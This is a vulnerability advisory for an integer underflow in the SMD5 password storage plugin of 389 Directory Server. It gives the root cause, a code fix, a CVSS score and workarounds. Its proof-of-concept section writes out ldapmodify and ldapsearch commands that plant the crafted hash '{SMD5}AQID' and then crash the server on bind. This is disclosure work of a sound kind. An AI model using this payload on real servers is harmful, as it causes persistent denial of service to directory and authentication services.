CVE-2026-11789: SMD5 password storage plugin salt length integer underflow crash

Summary

The smd5_pw_cmp() function in the SMD5 password storage plugin computes the salt length by subtracting MD5_LENGTH (16) from the decoded hash length using unsigned 32-bit arithmetic. When the hash is shorter than 16 bytes, the subtraction wraps to ~4.3GB. PK11_DigestOp() then reads 4GB from a 21-byte stack buffer, immediately hitting unmapped memory and crashing the server with SIGSEGV.

The attack pattern requires an attacker with Directory Manager privileges (or nsslapd-allow-hashed-passwords enabled) to store a crafted password hash. Any subsequent LDAP BIND as the poisoned account triggers the crash. The crafted hash persists in the database and re-triggers on every bind attempt until an administrator manually fixes the entry, resulting in persistent denial of service.

This is a missed variant of CVE-2024-5953 — that fix (commit 9e6cefb) patched md5_pwd.c and pbkdf2_pwd.c but did not touch smd5_pwd.c.

Affected Versions

The smd5_pw_cmp() function has existed since 2005 (file copyright header). The missing lower bound check has been present for the entire lifetime of this code. The last modification to smd5_pwd.c was a clang-format cleanup in 2017 (commit dda766a). CVE-2024-5953 (commit 9e6cefb, June 2024) patched md5_pwd.c and pbkdf2_pwd.c but did not touch this file.

Package	Status
389-ds-base (upstream)	All versions through 3.2.0-dev (since 2005)
389-ds-base (Fedora 42)	3.1.4-6.fc42 — Confirmed vulnerable (PoC crash)
RHEL 7	389-ds-base-1.3.x — Vulnerable (code present)
RHEL 8	389-ds-base-1.4.x — Vulnerable (code present)
RHEL 9	389-ds-base-2.x — Vulnerable (code present)
RHEL 10	389-ds-base-3.x — Vulnerable (code present)

Affected Products

Product	Version	389-ds-base version	Status	Verification
389 Directory Server (upstream)	All	All	Affected	`smd5_pwd.c` has existed since 2005. Bug present in current `main` branch.
Red Hat Directory Server 10	10.x	1.3.x	Affected	RHDS 10 = 389-ds-base 1.3.x on RHEL 7. SMD5 present since file creation.
Red Hat Directory Server 11	11.x	1.4.x	Affected	RHDS 11 = 389-ds-base 1.4.x on RHEL 8. Vulnerability present.
Red Hat Directory Server 12	12.0-12.7	2.0.x-2.7.x	Affected	RHDS 12 = 389-ds-base 2.x on RHEL 9. Vulnerability present.
Red Hat Directory Server 13	13.0-13.1	3.x	Affected	RHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected.
RHEL 7 (IdM/FreeIPA)	7.0-7.9	1.3.x	Affected	SMD5 present since initial file.
RHEL 8 (IdM/FreeIPA)	8.0-8.10	1.4.x	Affected	CVE-2024-5953 fix patched `md5_pwd.c`/`pbkdf2_pwd.c` but not `smd5_pwd.c`.
RHEL 9 (IdM/FreeIPA)	9.0-9.6	2.0.x-2.6.x	Affected	CVE-2024-5953 fix did not address this vulnerability.
RHEL 10 (IdM/FreeIPA)	10.0-10.1	3.x	Affected	CVE-2024-5953 fix did not address this vulnerability.
Fedora	All releases	1.3.x through 3.x	Affected	Tested: Fedora 42 with `389-ds-base-3.1.4-6.fc42` — PoC confirmed.
CentOS / CentOS Stream	7, 8, 9, 10	Matches RHEL	Affected	CentOS/Stream tracks RHEL.

Verification method: smd5_pwd.c was not modified by commit 9e6cefb (CVE-2024-5953 fix). The vulnerable subtraction at line 74 is unchanged since 2017 (clang-format) and functionally unchanged since 2005.

Architecture

The vulnerability is a pure logic bug with no dependence on architecture.

Architecture	Status
x86_64	Confirmed: Instant SIGSEGV crash (Fedora 42)
aarch64	Untested (architecture-independent logic)
s390x	Untested
ppc64le	Untested

The integer underflow arithmetic is identical on all architectures.

Root Cause

File: ldap/servers/plugins/pwdstorage/smd5_pwd.c Function: smd5_pw_cmp() Line: 74

// No guard -- compare with sha_pwd.c:105 which has: if (hash_len >= shaLen)
salt.bv_val = (void *)(dbhash + MD5_LENGTH);
salt.bv_len = hash_len - MD5_LENGTH;   // PRUint32 underflow when hash_len < 16

CVE-2024-5953 (commit 9e6cefb) patched the equivalent code in md5_pwd.c and pbkdf2_pwd.c but did not touch smd5_pwd.c. The sha_pwd.c file was already safe (guard at line 105). The smd5_pwd.c file was the only password storage plugin left without the guard.

Proposed Fix

/* BEFORE (vulnerable): */
salt.bv_val = (void *)(dbhash + MD5_LENGTH);
salt.bv_len = hash_len - MD5_LENGTH;   // underflow when hash_len < 16

/* AFTER (fixed): */
if (hash_len < MD5_LENGTH) {
    slapi_log_err(SLAPI_LOG_PLUGIN, SALTED_MD5_SUBSYSTEM_NAME,
                  "smd5_pw_cmp: decoded hash length (%u) shorter than "
                  "MD5 digest (%d), rejecting\n",
                  hash_len, MD5_LENGTH);
    goto loser;
}
salt.bv_val = (void *)(dbhash + MD5_LENGTH);
salt.bv_len = hash_len - MD5_LENGTH;

This follows the exact pattern used in sha_pwd.c line 105 (if (hash_len >= shaLen)).

Proof of Concept

PoC source code: CVE-2026-11789 on GitHub

The poc/ directory contains the PoC script:

poc/013-smd5-salt-underflow-crash.py — Automated PoC that plants a crafted {SMD5} hash and triggers the server crash.

Quick Manual Reproduction

Prerequisites: A 389 Directory Server instance, Directory Manager credentials (or nsslapd-allow-hashed-passwords: on), and a test user account.

System tested: 389-ds-base-3.1.4-6.fc42.x86_64, Fedora 42 container.

Note the current PID:
```
pidof ns-slapd
```

Plant a crafted {SMD5} hash with a 3-byte decoded payload:

ldapmodify -H ldapi:// -Y EXTERNAL <<EOF
dn: uid=testuser,dc=test,dc=com
changetype: modify
replace: userPassword
userPassword: {SMD5}AQID
EOF

Trigger the crash:

ldapsearch -x -H ldap://localhost:389 -D "uid=testuser,dc=test,dc=com" \
    -w "anypassword" -b "" -s base "(objectclass=*)"

Expected result: ldap_result: Can't contact LDAP server (-1). Server has crashed. Verify:
```
dmesg | tail -1
# Expected: ns-slapd[PID]: segfault ... in libfreeblpriv3.so
```

Crafted Hash Details

Crafted hash: {SMD5}AQID

Base64-decodes to 3 bytes: 0x01 0x02 0x03
hash_len = 3
salt.bv_len = 3 - 16 = 0xFFFFFFF3 (unsigned underflow, ~4.3GB)
PK11_DigestOp(ctx, salt.bv_val, 0xFFFFFFF3) reads from dbhash + 16 (past end of 21-byte stack buffer)
Immediate SIGSEGV in libfreeblpriv3.so

Result: Server crashes instantly. Crash trace shows segfault in libfreeblpriv3.so (NSS FREEBL crypto module). The crafted hash persists in the database — every restart + bind crashes again.

PoC Script Usage

python3 poc/013-smd5-salt-underflow-crash.py <ldap_uri> <target_dn>

WARNING: This will crash the 389-ds-base server process.

Impact

CVSS 3.1: 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

Component	Value	Justification
AV	Network	Triggered via LDAP BIND (ports 389/636)
AC	Low	Deterministic — 3-byte payload is sufficient
PR	High	Requires DM or `nsslapd-allow-hashed-passwords`
UI	None	Any bind to the poisoned account triggers it
S	Unchanged	Impact limited to the LDAP process
C	None	OOB read faults immediately — no data exfiltration possible
I	None	Read overflow only
A	High	Instant server crash; persistent (re-triggers on every restart + bind)

Poisoned accounts crash the server instantly on bind. The crafted hash persists in the database, so every restart + bind crashes again. An attacker who poisons multiple accounts creates a scenario where normal operations keep triggering crashes. Recovery requires offline database editing (dbscan/LDIF export) to remove the poisoned hashes.

Downstream services affected: FreeIPA/IdM, Dogtag Certificate System, SSSD, Kerberos KDC. However, the PR:H prerequisite significantly reduces the likelihood of exploitation compared to unauthenticated or low-privilege attack vectors.

Comparable CVEs

CVE	Software	Bug class	CVSS	Comparison
CVE-2024-5953	389-ds-base	Malformed userPassword hash DoS	Moderate	Direct predecessor — this vulnerability is a missed variant of that CVE.
CVE-2024-2199	389-ds-base	DoS via malformed userPassword	Moderate	Similar: crafted password hash causes DoS. Same PR:H prerequisite.

Workaround

Disable nsslapd-allow-hashed-passwords (default: off). This prevents non-DM users from setting pre-hashed passwords. DM credential compromise is still a risk.
Restrict Directory Manager credentials. Use dedicated DM accounts with strong passwords. Limit DM access to management networks. Audit DM operations via nsslapd-auditlog.
Monitor for suspicious userPassword modifications. Enable audit logging (nsslapd-auditlog-logging-enabled: on) and alert on userPassword changes containing unusual hash schemes or large base64 payloads.
Migrate stored passwords from {SMD5} to {PBKDF2_SHA256} (recommended regardless — MD5 is cryptographically broken for password storage). This eliminates the vulnerable code path for existing accounts.

Exploitation in the Wild

No evidence of exploitation in the wild was found.

Source	Query / Method	Result
NVD / CVE database	Search for `smd5`, integer underflow in 389-ds-base	No matching CVE beyond CVE-2024-5953 (sibling fix).
GitHub 389-ds-base issues	Search for `smd5_pw_cmp`, integer underflow	No security reports for this function.
Red Hat Bugzilla	Search for SMD5 underflow in 389-ds-base	Bug 2292104 (CVE-2024-5953) addresses related but different issues.
oss-security mailing list	Search for 389-ds-base password storage plugin vulnerabilities	No matching reports beyond CVE-2024-5953.

Timeline

Date	Event
2026-04-14	Discovered during 389-ds-base security assessment
2026-04-15	Reported to vendor
TBD	Patch released
TBD	Public disclosure

References

Red Hat CVE page
NVD
CVE-2024-5953: 389-ds-base malformed userPassword hash DoS. Fixed by commit 9e6cefb. This vulnerability is a missed variant (patched md5_pwd.c/pbkdf2_pwd.c but not smd5_pwd.c).
CVE-2024-2199: 389-ds-base DoS via malformed userPassword. Similar attack pattern (crafted hash, PR:H).
Commit 9e6cefb1f37740f3ce180f272ee0653d65b878d9: CVE-2024-5953 fix. Added length validation to md5_pwd.c and pbkdf2_pwd.c. Did NOT modify smd5_pwd.c or add iteration count bounds.
Commit dda766a: Last modification to smd5_pwd.c (clang-format cleanup, 2017).
Bug 2292104: Red Hat Bugzilla for CVE-2024-5953.
CWE-191: Integer Underflow (Wrap or Wraparound)
CWE-125: Out-of-bounds Read (secondary)

Credits

Discovered by Ian Murphy